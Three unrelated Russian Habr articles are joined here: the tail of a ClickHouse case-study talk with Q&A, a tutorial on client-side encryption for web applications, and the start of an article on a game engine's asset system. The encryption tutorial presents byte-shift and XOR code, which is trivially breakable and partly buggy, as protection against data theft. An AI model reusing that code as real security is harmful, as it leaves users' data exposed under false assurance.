* И второе – если запрос распределенный. Потому что в распределенном запросе только самый внутренний подселект выполняется распределенно, а все остальное передается на один сервер, к которому вы подключились и выполняется там. Поэтому если у вас распределенные запросы со многими джойны (join), то нужно выбирать порядок.
И даже в более простых случаях тоже иногда следует выполнять работу планировщика и запросы чуть-чуть переписывать.
Вот пример. В левой части запрос, который показывает топ-5 стран. И он выполняется 2,5 секунды, по-моему. А в правой части тот же запрос, но чуть-чуть переписанный. Мы вместо того, чтобы группировать по строке, стали группировать по ключу (int). И это быстрее. А потом мы к результату подключили словарь. Вместо 2,5 секунд запрос выполняется 1,5 секунды. Это хорошо.
Похожий пример с переписыванием фильтров. Здесь запрос по России. Он выполняется 5 секунд. Если мы его перепишем таким образом, что будем сравнивать снова не строку, а числа с каким-то сетом тех ключей, которые относятся к России, то это будет гораздо быстрее.
Таких трюков много. И они позволяют существенно ускорить запросы, которые вам кажется, что уже работают быстро, или, наоборот, работают медленно. Их можно сделать еще быстрее.
* Максимум работы в распределенном режиме.
* Сортировка по минимальным типам, как я это делал по интам.
* Если есть какие-то джойны (join), словари, то их лучше делать в самую последнюю очередь, когда у вас уже данные хотя бы частично сгруппированные, тогда операция джойны (join) или вызов словаря будет меньше раз вызываться и это будет быстрее.
* Замена фильтров.
Есть еще другие техники, а не только те, которые я продемонстрировал. И все они позволяют иногда существенно ускорить выполнение запросов.
Переходим к следующему примеру. Компания Х из США. Что она делает?
Была задача:
* Офлайн-связывание транзакций рекламы.
* Моделирование разных моделей связывания.
В чем состоит сценарий?
Обычный посетитель заходит на сайт, например, 20 раз в месяц с разных объявлений или просто так иногда приходит без всяких объявлений, потому что помнит этот сайт. Смотрит какие-то продукты, кладет их в корзину, вынимает их из корзины. И, в конце концов, что-то покупает.
Резонные вопросы: «Кому надо заплатить за рекламу, если надо?» и «Какая реклама на него повлияла, если повлияла?». Т. е. почему он купил и как сделать так, чтобы люди, похожие на этого человека, тоже покупали?
Для того чтобы эту задачу решить, нужно связывать события, которые происходят на веб-сайте правильным образом, т. е. как-то между ними выстраивать связь. Потом их передавать для анализа в DWH. И на основании этого анализа строить модели, кому и какую рекламу показывать.
Рекламная транзакция – это набор связанных событий пользователя, которые начинаются от показа объявления, дальше что-то происходит, потом, может быть, покупка, а потом могут быть покупки в покупке. Например, если это мобильное приложение или мобильная игра, то обычно установка приложения бесплатно происходит, а если там что-то дальше делается, то на это могут потребоваться денежки. И чем больше человек потратит в приложении, тем он ценнее. Но для этого надо все связать.
Есть много моделей связывания.
Самые популярные – это:
* Last Interaction, где interaction – это либо клик, либо показ.
* First Interaction, т. е. первое, что привело человека на сайт.
* Линейная комбинация – всем поровну.
* Затухание.
* И прочее.
И как это все работало изначально? Был Runtime и Cassandra. Cassandra использовалась как transaction storage, т. е. в ней хранились все связанные транзакции. И когда приходит какое-то событие в Runtime, например, показ какой-то страницы или что-то еще, то делался запрос в Cassandra – есть такой человек или нет. Потом доставались транзакции, которые к нему относятся. И производилось связывание.
И если повезло, что в запросе есть transaction id, то это легко. Но обычно не везет. Поэтому надо было найти последнюю транзакцию или транзакцию с последним кликом и т. д.
И это все очень хорошо работало, пока связывание было к последнему клику. Потому что кликов, скажем, 10 миллионов в день, 300 миллионов в месяц, если на месяц ставить окно. И поскольку в Cassandra это должно быть все в памяти для того, чтобы работало быстро, потому что требуется Runtime ответить быстро, то требовалось примерно 10-15 серверов.
А когда захотели к показу привязывать транзакцию, то сразу получилось не так весело. А почему? Видно, что в 30 раз больше событий надо хранить. И, соответственно, нужно в 30 раз больше серверов. И получается, что это какая-то астрономическая цифра. Держать до 500 серверов для того, чтобы делать связывание, притом, что в Runtime серверов существенно меньше, то это какая-то неправильная цифра. И стали думать, что делать.
И вышли на ClickHouse. А как это делать на ClickHouse? На первый взгляд кажется, что это набор антипаттернов.
* Транзакция растет, мы к ней подцепляем все новые и новые ивенты, т. е. она mutable, а ClickHouse не очень хорошо работает с mutable-объектами.
* Когда к нам приходит посетитель, то нам нужно вытащить его транзакции по ключу, по его visit id. Это тоже point query, в ClickHouse так не делают. Обычно в ClickHouse большие …сканы, а тут нам нужно достать несколько записей. Тоже антипаттерн.
* Кроме того, транзакция была в json, но переписывать не хотели, поэтому хотели хранить json не структурированно, а если надо, то из него что-то вытаскивать. И это тоже антипаттерн.
Т. е. набор антипаттернов.
Но тем не менее получилось сделать систему, которая очень хороша работала.
Что было сделано? Появился ClickHouse, в который забрасывались логи, разбитые на записи. Появился attributed сервис, который получал из ClickHouse логи. После этого для каждой записи по visit id получал транзакции, которые могли быть еще не дообработанные и плюс снапшоты, т. е. транзакции уже связанные, а именно результат предыдущей работы. Из них уже делал логику, выбирал правильную транзакцию, подсоединял новые события. Снова записывал в лог. Лог уходил обратно в ClickHouse, т. е. это постоянно цикличная система. И кроме того, уходил в DWH, чтобы там это анализировать.
Именно в таком виде это работало не очень хорошо. И чтобы ClickHouse было проще, когда шел запрос по visit id, то группировали эти запросы в блоки по 1 000-2 000 visit id и вытаскивали для 1 000-2 000 человек все транзакции. И тогда все это заработало.
Если посмотреть вовнутрь ClickHouse, то там всего 3 основных таблиц, которые все это обслуживают.
Первая таблица, в которую заливаются логи, причем логи заливаются практически без обработки.
Вторая таблица. Через materialized view из этих логов выкусывались, которые еще не attributed ивенты, т. е. несвязанные. И через materialized view из этих логов вытаскивались транзакции для построения снапшота. Т. е. специальным materialized view строил снапшот, а именно последнее накопленное состояние транзакции.
Вот здесь написан текст на SQL. Я бы хотел прокомментировать в нем несколько важных вещей.
Первая важная вещь – это возможность в ClickHouse из json вытаскивать колонки, поля. Т. е. в ClickHouse есть некоторые методы для работы с json. Они очень-очень примитивные.
visitParamExtractInt позволяет из json вытаскивать атрибуты, т. е. первое попадание срабатывает. И таким образом можно вытащить transaction id или visit id. Это раз.
Второе – здесь использовано хитрое materialized поле. Что это значит? Это значит, что вы его в таблицу вставить не можете, т. е. оно не вставляется, оно вычисляется и хранится при вставке. При вставке ClickHouse делает за вас работу. И уже вытаскивается из json то, что вам потом понадобится.
В данном случае materialized view – это для необработанных строк. И как раз используется первая таблица с практически сырыми логами. И что делает? Во-первых, меняет сортировку, т. е. сортировка теперь идет по visit id, потому что нам нужно быстро вытаскивать именно по конкретному человеку его транзакцию.
Вторая важная вещь – это index\_granularity. Если вы видели MergeTree, то обычно по дефолту 8 192 стоит index\_granularity. Что это такое? Это параметр разреженности индекса. В ClickHouse индекс разреженный, он никогда не индексирует каждую запись. Он это делает через каждые 8 192. И это хорошо, когда требуется много данных подсчитать, но плохо, когда немножко, потому что большой overhead. И если уменьшать index granularity, то мы уменьшаем overhead. Уменьшить до единицы нельзя, потому что может памяти не хватить. Индекс всегда в памяти хранится.
А снапшот использует еще некоторые интересные функции ClickHouse.
Во-первых, это AggregatingMergeTree. И в AggregatingMergeTree хранится argMax, т. е. это состояние транзакции, соответствующее последнему timestamp. Транзакции все время новые генерируются для данного посетителя. И в самое последнее состояние этой транзакции мы добавили ивент и у нас появилось новое состояние. Оно снова попало в ClickHouse. И через argMax в этом материализованном представлении мы всегда можем получить актуальное состояние.
* Связывание «отвязано» от Runtime.
* Хранится и обрабатывается до 3 миллиардов транзакций в месяц. Это на порядок больше, чем было в Cassandra, т. е. в типичной транзакционной системе.
* Кластер 2х5 серверов ClickHouse. 5 серверов и каждый сервер имеет реплику. Это даже меньше, чем было в Cassandra для того, чтобы сделать click based атрибуцию, а здесь у нас impression based. Т. е. вместо того, чтобы увеличивать количество серверов в 30 раз, их удалось уменьшить.
И последний пример – это финансовая компания Y, которая анализировала корреляции изменений котировок акций.
И задача стояла такая:
* Есть примерно 5 000 акций.
* Котировки каждые 100 миллисекунды известны.
* Данные накопились за 10 лет. Видимо, для некоторых компаний побольше, для некоторых поменьше.
* Всего примерно 100 миллиардов строк.
И нужно было посчитать корреляцию изменений.
Здесь есть две акции и их котировки. Если одна идет вверх, и вторая идет вверх, то это положительная корреляция, т. е. одна растет, и вторая растет. Если одна идет вверх, как в конце графика, а вторая вниз, то это отрицательная корреляция, т. е. когда одна растет, другая падает.
Анализируя эти взаимные изменения можно делать предсказания на финансовом рынке.
Но задача сложная. Что для этого делается? У нас есть 100 миллиардов записей, в которых есть: время, акция и цена. Нам нужно посчитать сначала 100 миллиардов раз runningDifference от алгоритма цены. RunningDifference – это функция в ClickHouse, которая разницу между двумя строчками последовательно вычисляет.
А после этого надо посчитать корреляцию, причем корреляцию надо посчитать для каждой пары. Для 5 000 акций пар 12,5 миллионов. И это много, т. е. 12,5 раз надо вычислять вот такую функцию корреляции.
И если кто-то забыл, то ͞x и ͞y – это мат. ожидание по выборке. Т. е. нужно не только корни и суммы посчитать, а еще внутри этих сумм еще одни суммы. Кучу-кучу вычислений нужно произвести 12,5 миллионов раз, да еще и сгруппировать по часам надо. А часов у нас тоже немало. И успеть надо за 60 секунд. Это шутка.
Надо было успеть хоть как-то, потому что все это работало очень-очень медленно, прежде, чем пришел ClickHouse.
Они пробовали на Hadoop это посчитать, на Spark, на Greenplum. И все это было очень медленно или дорого. Т. е. можно было как-то посчитать, но потом это было дорого.
А потом пришел ClickHouse и все стало гораздо лучше.
Напоминаю, проблема у нас с локальностью данных, потому корреляции нельзя локализовать. Мы не можем сложить часть данных на один сервер, часть на другой и посчитать, у нас должны быть все данные везде.
Что они сделали? Изначально данные локализованные. На каждом из серверов хранятся данные по прайсингу определенного набора акций. И они не пересекаются. Поэтому можно параллельно и независимо посчитать logReturn, все это происходит пока параллельно и распределено.
Дальше решили эти данные уменьшить, при этом не потеряв выразительности. Уменьшить с помощью массивов, т. е. для каждого отрезка времени сделать массив акций и массив цен. Таким образом это занимает гораздо меньше места данные. И с ними несколько удобнее работать. Это почти параллельные операции, т. е. мы параллельно частично считаем и потом записываем на сервер.
После этого это можно среплицировать. Буковка «r» означает, что эти данные мы среплицировали. Т. е. у нас на всех трех серверах одинаковые данные – вот эти массивы.
И дальше специальным скриптом из этого набора 12,5 миллионов корреляций, которые надо посчитать, можно сделать пакеты. Т. е. 2 500 задач по 5 000 пар корреляций. И эту задачу вычислять на конкретном ClickHouse-сервере. Все данные у него есть, потому что данные одинаковые и он может их последовательно вычислять.
Еще раз, как это выглядит. Сначала у нас все данные есть в такой структуре: время, акции, цена. Потом мы посчитали logReturn, т. е. данные той же структуры, только вместо цены у нас уже logReturn. Потом их переделали, т. е. у нас получились время и groupArray по акциям и по прайсам. Среплицировали. И после этого сгенерировали кучу задач и скормили ClickHouse, чтобы он их считал. И это работает.
На proof of concept задача – это была подзадача, т. е. взяли меньше данных. И всего на трех серверах.
Первые эти два этапа: вычисление Log\_return и заворачивание в массивы заняли примерно по часу.
А вычисление корреляции где-то 50 часов. Но 50 часов – это мало, потому что раньше у них это работало неделями. Это был большой успех. И если посчитать, то 70 раз в секунду на этом кластере все считалось.
Но самое главное, что эта система практически без узких мест, т. е. она масштабируется практически линейно. И они это проверили. Успешно ее отмасштабировали.
* Правильная схема – половина успеха. И правильная схема – это использование всех нужных технологий ClickHouse.
* Summing/AggregatingMergeTrees – это технологии, которые позволяют агрегировать или считать снапшот state как частный случай. И это существенно упрощает многие вещи.
* Materialized Views позволяют обойти ограничение в один индекс. Может быть, я это не очень четко проговорил, но когда мы загружали логи, то сырые логи были в таблице с одним индексом, а на attribute логи были в таблице, т. е. те же самые данные, только отфильтрованные, но индекс был совершенно другим. Вроде бы одни и те же данные, но разная сортировка. И Materialized Views позволяет, если вам это нужно, обойти такое ограничение ClickHouse.
* Уменьшайте гранулярность индекса для точечных запросов.
* И распределяйте данные умно, старайтесь максимально локализовать данные внутри сервера. И старайтесь, чтобы запросы использовали тоже локализацию там, где это возможно максимально.
И резюмируя это небольшое выступление, можно сказать, что ClickHouse сейчас твердо занял территорию и коммерческих баз данных, и open source баз данных, т. е. именно для аналитики. Он замечательно вписался в этот ландшафт. И более того, он потихонечку начинает других вытеснять, потому что, когда есть ClickHouse, то вам не нужен InfiniDB. Вертика, может быть, скоро будет не нужна, если они сделают нормальную поддержку SQL. Пользуйтесь!
-*Спасибо за доклад! Очень интересно! Были ли какие-то сравнения с Apache Phoenix?*
-Нет, я не слышал, чтобы кто-то сравнивал. Мы и Яндекс стараемся отслеживать все сравнения ClickHouse с разными базами данных. Потому что если вдруг что-то оказывается быстрее ClickHouse, то Леша Миловидов не может спать по ночам и начинает быстренько его ускорять. Я не слышал о таком сравнении.
* *(Алексей Миловидов) Apache Phoenix – это SQL-движок на Hbase. Hbase в основном предназначен для сценария работ типа key-value. Там в каждой строчке может быть произвольное количество столбцов с произвольными именами. Это можно сказать про такие системы как Hbase, Cassandra. И на них именно тяжелые аналитические запросы нормально работать не будут. Или вы можете подумать, что они работают нормально, если у вас не было никакого опыта работы с ClickHouse.*
* Спасибо
+ *Добрый день! Я уже довольно много интересуюсь этой темой, потому что у меня подсистема аналитическая. Но когда я смотрю на ClickHouse, то у меня возникает ощущение, что ClickHouse очень хорошо подходит для анализа ивентов, mutable. И если мне нужно анализировать много бизнес-данных с кучей больших таблиц, то ClickHouse, насколько я понимаю, мне не очень подходит? Особенно, если они меняются. Правильно ли это или есть примеры, которые могут опровергнуть это?*
+ Это правильно. И это правда про большинство специализированных аналитических баз данных. Они заточены под то, что есть одна или несколько больших таблиц, которые mutable, и под много маленьких, которые медленно изменяются. Т. е. ClickHouse не как Oracle, куда можно положить все и строить какие-то очень сложные запросы. Для того чтобы ClickHouse эффективно использовать, надо схему выстраивать тем образом, который в ClickHouse хорошо работает. Т. е. избегать излишней нормализации, использовать словари, стараться делать меньше длинных связей. И если схему таким образом выстроить, то тогда аналогичные бизнес-задачи на ClickHouse могут быть решены гораздо более эффективно, чем традиционной реляционной базе данных.
*Спасибо за доклад! У меня вопрос по последнему финансовому кейсу. У них была аналитика. Надо было сравнить, как идут вверх-вниз. И я так понимаю, что вы систему построили именно под эту аналитику? Если им завтра, допустим, понадобится, какой-то другой отчет по этим данным, нужно заново схему строить и загружать данные? Т. е. делать какую-то предобработку, чтобы получить запрос?*
Конечно, это использование ClickHouse для вполне конкретной задачи. Она более традиционно могла бы быть решена в рамках Hadoop. Для Hadoop – это идеальная задача. Но на Hadoop это очень медленно. И моя цель – это продемонстрировать то, что на ClickHouse можно решать задачи, которые обычно решаются совершенно другими средствами, но при этом сделать гораздо эффективнее. Это под конкретную задачу заточено. Понятно, что если есть задача чем-то похожая, то можно ее похожим образом решать.
*Понятно. Вы сказали, что 50 часов обрабатывалось. Это начиная с самого начала, когда загрузили данные или получили результаты?*
Да-да.
*Хорошо, спасибо большое.*
Это на 3-х серверном кластере.
*Приветствую! Спасибо за доклад! Все очень интересно. Я немножко не про функционал спрошу, а про использование ClickHouse с точки зрения стабильности. Т. е. случались ли у вас какие-то, приходилось ли восстанавливать? Как при этом себя ведет ClickHouse? И случалось ли так, что у вас вылетала и реплика в том числе? Мы, допустим, у ClickHouse сталкивались с проблемой, когда он вылезает все-таки за свой лимит и падает.*
Конечно, идеальных систем нет. И у ClickHouse тоже есть свои проблемы. Но вы слышали о том, чтобы Яндекс.Метрика долго не работала? Наверное, нет. Она работает надежно где-то с 2012-2013-го года на ClickHouse. Про мой опыт я тоже могу сказать. У нас никогда не бывало полных отказов. Какие-то частичные вещи могли случаться, но они никогда не были критичными настолько, чтобы серьезно повлиять на бизнес. Никогда такого не было. ClickHouse – достаточно надежен и не падает случайным образом. Можно об этом не беспокоиться. Это не сырая вещь. Это доказано многими компаниями.
*Здравствуйте! Вы сказали, что нужно сразу хорошо продумать схему данных. А если это случилось? У меня данные льются-льются. Проходит полгода, и я понимаю, что так жить нельзя, мне надо перезаливать данные и что-то с ними делать.*
Это зависит, конечно, от вашей системы. Есть несколько способов сделать это практически без остановки. Например, вы можете создать Materialized View, в котором сделать другую структуру данных, если ее можно однозначно смапировать. Т. е. если она допускает мапирование средствами ClickHouse, т. е. extract каких-то вещей, поменять primary key, поменять партиционирование, то можно сделать Materialized View. Туда ваши старые данные переписать, новые будут писаться автоматически. А потом просто переключиться на использование Materialized View, потом переключить запись и старую таблицу убить. Это вообще без остановки способ.
*Спасибо.* | https://habr.com/ru/post/512304/ | null | ru | null |
# Шифрование/дешифрование данных на стороне клиента в web-ориентированных системах
В наши дни всё больше программ переводятся в так называемый «web-ориентированный» вид, то есть используется принцип клиент-сервер, что позволяет хранить данные удалённо и получать к ним доступ через тонкий клиент (браузер).
Одновременно с удобством использования остро встаёт вопрос о защищённости этих данных. Конфиденциальная информация может стать доступна другим людям несколькими путями. Во-первых, к пользователю могут быть применены физические меры для выпытывания. Во-вторых, при передаче данные могут быть перехвачены различными снифферами. И, в-третьих, на сервер могут быть произведены хакерские атаки, что позволит злоумышленникам похитить информацию, либо недобросовестный администратор сервера воспользуется ею в личных целях.
#### Задача
Некоторое время назад у меня возникла задача разработать прототип программы шифрования/дешифрования данных на стороне клиента в web-ориентированных системах.
То есть, было необходимо разработать программу, которая позволит не просто хранить данные на сервере, но и предоставит возможность работы с ними через web-интерфейс и при этом обеспечит их бесполезность для злоумышленников в случае кражи, что достигается шифрованием/дешифрованием исключительно на стороне клиента.
Для типичного сценария использования возможна работа с тремя типами данных:
* обычный текст, вводимый в поля ввода формы и хранящийся на сервере в базе данных в зашифрованном виде
* файлы, которые хранятся на сервере в зашифрованном виде, и при необходимости пользователь может их скачать
* изображения, хранящиеся на сервере как зашифрованные файлы, но при необходимости они расшифровываются на стороне клиента и вставляются на web-страницу как обычные картинки.
#### Реализация
Тот факт, что обработка данных должна производиться исключительно на стороне клиента, ограничивал выбор средств для реализации. На начальной стадии разработки была опробована связка «Java-апплет – Java-сервлет», но через какое-то время пришлось искать другой способ, потому что были трудности в отладке и передаче данных между апплетом и сервлетом.
Я остановился на использовании возможностей HTML5 и JavaScript-объекта «XmlHttpRequest Level 2» в частности, потому что они позволили с меньшими усилиями реализовать необходимый функционал.
##### Работа с текстом
Алгоритм шифрования:
* вносим текст в поле формы на web-странице
* шифруем текст с помощью функций Java Script
* отправляем зашифрованный текст на сервер, где сохраняем в базу данных.
Обратный процесс:
* получаем зашифрованные данные из базы данных с сервера
* дешифруем их с помощью функций Java Script
* выводим расшифрованный текст в нужное место на web-странице.
##### Работа с файлами
Процесс шифрования/дешифрования файлов происходит немного другим образом.
Алгоритм шифрования:
* выбираем файл с компьютера пользователя
* получаем содержимое файла в объект Java Script, используя XmlHttpRequest Level 2 и возможности HTML 5
* шифруем его с помощью функций Java Script
* отправляем зашифрованные данные на сервер, где сохраняем как файл.
Обратный процесс:
* получаем содержимое зашифрованного файла с сервера
* записываем его в объект Java Script, используя XmlHttpRequest Level 2 и возможности HTML 5
* дешифруем с помощью функций Java Script
* передаём расшифрованные данные в Java-апплет, чтобы дать пользователю возможность указать путь и имя для сохраняемого файла, т. к. на данный момент развития технологий в браузерах нельзя штатно вызывать диалог сохранения файла в произвольное место на компьютере пользователя, только в ограниченную «песочницу», что нам не подходит. Если по каким-либо причинам использование Java-апплета не подходит, эту часть можно заменить на Flash с аналогичным функционалом.
##### Работа с изображениями
Алгоритм шифрования:
* выбираем файл с изображением с компьютера пользователя
* записываем его содержимое в объект Java Script, используя XmlHttpRequest Level 2 и возможности HTML 5
* кодируем в формат Base64
* шифруем с помощью функций Java Script
* отправляем зашифрованные данные на сервер, где сохраняем в файл.
Обратный процесс:
* получаем содержимое зашифрованного изображения с сервера
* записываем его в объект Java Script, используя XmlHttpRequest Level 2 и возможности HTML 5
* дешифруем с помощью функций Java Script. На этом этапе получаем изображение, закодированное в формате Base64
* вставляем содержимое в тег на web-странице (браузеры по умолчанию поддерживают вставку изображений в формате Base64).
Немного ключевого исходного кода для работы с файлами:
```
/\*\*
\* Функция загрузки файла на сервер с использованием
\* XMLHttpRequest level 2
\*/
function upload(blobOrFile) {
var xhr = new XMLHttpRequest();
// открываем соединение методом POST, вказываем URL и true=асинхронный запрос
xhr.open('POST', '/File/UploadFile/', true);
// тип ответа - набор байт
xhr.responseType = "arraybuffer";
// устанавливаем заголовок ответа
xhr.setRequestHeader("Content-type", "multipart/form-data");
xhr.onload = function(e) {
// ...
};
xhr.send(blobOrFile); // отправляем запрос
}
// добавляем слушателя события выбора файла
document.querySelector('input[type="file"]').addEventListener('change', function(e) {
var file = this.files[0]; // первый выбранный в диалоге файл
var reader = new FileReader();
reader.onloadend = function(e) {
var result = this.result; // считанный поток байт
var arr = new Int8Array(result);
var i; // счётчик байт
var newResult = new ArrayBuffer(arr.byteLength);
var newRes = new Int8Array(newResult);
var keyForEncrypt = $('#keyForEncrypt').val();
for(i = 0; i < arr.byteLength; i++) {
// шифруем данные побайтово
newRes[i] = arr[i] + parseInt(keyForEncrypt, 10);
}
// отправка данных
upload(newRes.buffer);
};
// читаем файл как массив байт
// работает в Chrome 11.0.696.68, не работает в FireFox 4.0.1
reader.readAsArrayBuffer(file);
}, false);
/\*\*\*
\* Функция получает файл в виде массива байт с сервера,
\* расшифровывает эти данные и передаёт их в Java апплет
\* для сохранения указанный пользователем файл
\*/
function download() {
var xhr = new XMLHttpRequest();
xhr.open('POST', '/File/DownloadFile/', false);
xhr.responseType = 'arraybuffer';
xhr.onload = function(e) {
var arr = new Int8Array(this.response); // this.response == arr.buffer
// передаём данные в апплет
upload(arr.buffer);
var result = new Array(arr.byteLength);
var keyForDecrypt = $('#keyForDecrypt').val();
for(var i = 0; i < arr.byteLength; i++) {
result[i] = arr[i] - parseInt(keyForDecrypt, 10);
}
saveFileByApplet(result);
};
xhr.send();
}
function saveFileByApplet(data) {
// посылаем данные в апплет
var cryptApplet = document.CryptApplet;
cryptApplet.saveFile(data);
}
$(document).ready(function() {
$('#saveFileButton').click(function() {
download();
});
});
```
Исходный код для работы с изображениями:
```
var selectedFile = null;
//добавляем слушателя события выбора файла
document.querySelector('input[type="file"]').addEventListener('change', function(e) {
selectedFile = this.files[0];// первый выбранный в диалоге файл
}, false);
$(document).ready(function() {
$('#uploadPictureButton').click(function() {
// если мы выбрали какой-нибудь файл
if(selectedFile != null) {
var reader = new FileReader();
reader.onload = function(e) {
// считанная бинарная строка
var result = this.result;
// переводим в Base64
var base64Result = Base64.encode(result);
// шифруем строку XOR с ключом
var keyForEncrypt = $('#keyForEncrypt').val();
var encryptedData = XOREncrypt(base64Result, keyForEncrypt);
// отправка данных
uploadPicture(encryptedData);
};
// читаем файл как бинарную строку
reader.readAsBinaryString(selectedFile);
}
});
$('#downloadPictureButton').click(function() {
downloadPicture();
});
});
/\*\*
\* Функция возвращает расширение файла с дописанными справа до 5 символов пробелами
\*/
function buildExtension() {
if(selectedFile != null) {
var ext = "";
var fullName = selectedFile.name;
for(var i = fullName.length - 1; i >= 0; i--) {
if(fullName[i] == '.')
break;
else
ext += fullName[i];
}
ext = ext.split('').reverse().join('');
if(ext.length < 5) {
for(var i = 0; i <= 5-ext.length; i++) {
ext += " ";
}
}
return ext;
}
}
/\*\*
\* Функция загрузки изображения на сервер с использованием
\* XMLHttpRequest level 2
\*/
function uploadPicture(picture) {
var xhr = new XMLHttpRequest();
// открываем соединение методом POST, вказываем URL и true=асинхронный запрос
xhr.open('POST', '/Picture/UploadPicture/', true);
xhr.onload = function(e) {
// ...
};
var sentData = "jpg " + picture;
// отправляем запрос
xhr.send(sentData);
}
/\*\*\*
\* Функция получает файл в виде строки, закодированной XOR, с сервера,
\* расшифровывает эти данные и вставляет в аттрибут SRC тега IMG
\*/
function downloadPicture() {
var xhr = new XMLHttpRequest();
xhr.open('POST', '/Picture/DownloadPicture/', true);
xhr.onload = function(e) {
// ответ - строка Base64, закодированная XOR
var result = this.response;
// первые 5 символов - расширение
var ext = rtrim(result.substr(0, 5));
// строка в Base64
var base64Data = result.substr(5);
var keyForDecrypt = $('#keyForDecrypt').val();
var decryptedData = XORDecrypt(base64Data, keyForDecrypt);
// устанавливаем MIME тип в зависимости от расширения
var mime = "";
switch (ext) {
case "jpeg" :
case "jpg" :
case "jpe" :
mime = "image/jpeg";
break;
case "gif" :
mime = "image/gif";
break;
case "png" :
mime = "image/png";
break;
default:
mime = "image/jpeg";
break;
}
$('#pict').attr('src', "data:" + mime + ";base64," + decryptedData);
};
xhr.send();
}
/\*\*
\* Аналог PHP-функции rtrim - удаление пробелов справа
\*/
function rtrim ( str, charlist ) {
charlist = !charlist ? ' \\s\u00A0' : (charlist + '').replace(/([\[\]\(\)\.\?\/\\*\{\}\+\$\^\:])/g, '\\$1');
var re = new RegExp('[' + charlist + ']+$', 'g');
return (str + '').replace(re, '');
}
```
Я не стал здесь приводить реализацию функций XOREncrypt, XORDecrypt и класса Base64, чтобы не загромождать и без того длинный листинг. Их можно посмотреть в прилагаемом архиве с исходным кодом.
Код Java-апплета для вывода диалога сохранения файла.
```
package ExtPackage;
import java.applet.*;
import java.io.*;
import java.io.FileOutputStream;
import javax.swing.JFileChooser;
import javax.swing.*;
public class CryptApplet extends Applet{
public void saveFile(byte[] data) throws FileNotFoundException, IOException {
// вызываем диалог сохранения файла
final JFileChooser fc = new JFileChooser();
fc.showSaveDialog(CryptApplet.this);
// путь и имя файла, указанные пользователем
File file = fc.getSelectedFile();
OutputStream out = new FileOutputStream(file);
// записываем пришедшие данные в файл
out.write(data);
out.flush();
out.close();
}
}
```
#### Резюме
Надеюсь, полученные мной результаты сэкономят немного времени тем, кто столкнётся с задачей шифрования/дешифрования данных на стороне клиента в web-ориентированных системах. Исходный код — в прикреплённом [архиве.](https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0BzMJ278sp0t0YTc2YzgzNGEtMjUzNi00NTA0LThhNjEtOTYxZGRjNjc1YWRj&hl=en_US) | https://habr.com/ru/post/130085/ | null | ru | null |
# Blitz.Engine: Ассетная система
Прежде чем разбираться в том, как работает ассетная система движка **Blitz.Engine**, нам необходимо определиться с тем, что такое ассет и что именно мы будем понимать под ассетной системой. Согласно Википедии, игровой ассет — это цифровой объект, преимущественно состоящий из однотипных данных, неделимая сущность, которая представляет часть игрового контента и обладает некими свойствами. С точки зрения программной модели, ассет может выступать в виде объекта, созданного на некотором наборе данных. Ассет может храниться в виде отдельного файла. В свою очередь, ассетная система — это множество программного кода, отвечающего за загрузку и оперирование ассетов различных типов.
Фактически ассетная система — это большая часть игрового движка, которая может стать верным помощником для разработчиков игры или же превратить их жизни в кромешный ад. Логичным, с моей точки зрения, решением было сконцентрировать этот «ад» в одном месте, бережно оберегая от него других разработчиков команды. О том, что у нас получилось, мы и расскажем в этом цикле статей — поехали!
Планируемые статьи на тему:
* Формулировка требований и обзор архитектуры
* Жизненный цикл ассета
* Детальный обзор класса AssetManager
* Интеграция в ECS
* GlobalAssetCache
### Требования и причины
Требования к системе загрузки ассетов родились между молотом и наковальней. Наковальней выступило желание сделать что-то замкнутое в себе, чтобы оно работало само без написания внешнего кода. Ну, или почти без написания внешнего кода. Молотом же стала реальность. И вот к чему мы в итоге пришли:
1. *Автоматическое управление памятью*, а значит отсутствие необходимости вызывать функцию release для ассета. То есть, как только все внешние объекты пользующиеся ассетом разрушены, происходит разрушение ассета. Мотивация здесь простая — писать меньше кода. Меньше кода — меньше ошибок.
2. *Асинхронная **подготовка** ассетов* значит, что максимум работы по подготовке ассетов происходит в специальном потоке (мы называем его потоком AssetManager’a). С одной стороны, подготовку ассетов сложно разбить на стадии. С другой — подготовка может занимать достаточно много времени. Если последнее происходит в главном потоке приложения, то приложение может быть «убито» операционной системой как зависшее.
Важный момент заключается в том, что мы рассматриваем именно подготовку ассета, а не его чтение с диска (загрузку). В действительности чтение с диска ассета — лишь один из этапов, причём опциональный. Напримеру, у вас может быть ассет, который представляет собой древовидную структуру данных для быстрого поиска точки пересечения геометрии с лучом. Подготовка такого ассета может не грузить геометрию с диска, если последняя уже загружена для отрисовки, а просто получить указатель. Однако в дальнейшем я буду использовать термин загрузка, а не подготовка, поскольку он более привычный.
3. *Автоматическая перезагрузка ассета* в случае изменения файлов на дисковом носителе. Изначальный посыл: модификация текста шейдера должна приводить к изменению картинки. Но раз уж мы проектируем систему для перезагрузки шейдеров, то и все остальные типы ассетов перезагружать будет полезно.
4. *Совместное (shared) использование ассетов*. Предположим, что в памяти приложения уже существует некоторый загруженный ассет. Он используется, что препятствует его разрушению. Если в этот момент произойдет запрос этого ассета из другого «места» приложения, то будет возвращен указатель на уже загруженный ассет вместо создания второго объекта и его загрузки.
5. *Приоритезация загрузки ассетов*. Уровней приоритета всего 3: High, Medium, Low. В рамках одинакового приоритета ассеты загружаются в порядке запроса. Представьте себе ситуацию: игрок нажимает «В бой», и начинается загрузка уровня. Вместе с этим в очередь загрузки попадает задача по подготовке спрайта экрана загрузки. Но поскольку часть ассетов уровня попали в очередь раньше спрайта, игрок смотрит на черный экран достаточно продолжительное время.
Кроме того, мы сформулировали для себя простое правило: «Все, что может быть сделано на потоке AssetManager’a, должно быть сделано на потоке AssetManager’a». Например, подготовка разбиения ландшафта и текстуры нормалей на основе карты высот, линковка GPU программы и т.д.
### Некоторые детали реализации
Прежде, чем мы начнем разбираться в том, как работает система загрузки ассетов, надо ознакомиться с двумя классами, которые повсеместно используются в движке Blitz.Engine:
* `Type`: runtime информация о некотором типе. Данный тип схож с типом `Type` из языка C#, за тем исключением, что не предоставляет доступа к полям и методам типа. Содержит: имя типа, ряд признаков вроде `is_floating, is_pointer, is_const` и т.д. Метод `Type::instance` в рамках одного запуска приложения возвращает постоянный `const Type*`, что позволяет делать проверки вида `if (type == Type::instance())`
* `Any`: позволяет упаковать значение любого movable или copyable типа. Знание о том, какой тип упакован в `Any` хранится в виде const `Type*`. `Any` умеет считать хэш по своему содержимому, а также умеет сравнивать содержимое на равенство. Попутно позволяет делать преобразования из текущего типа в другой. Это своего рода переосмысление класса any из стандартной библиотеки или библиотеки boost.
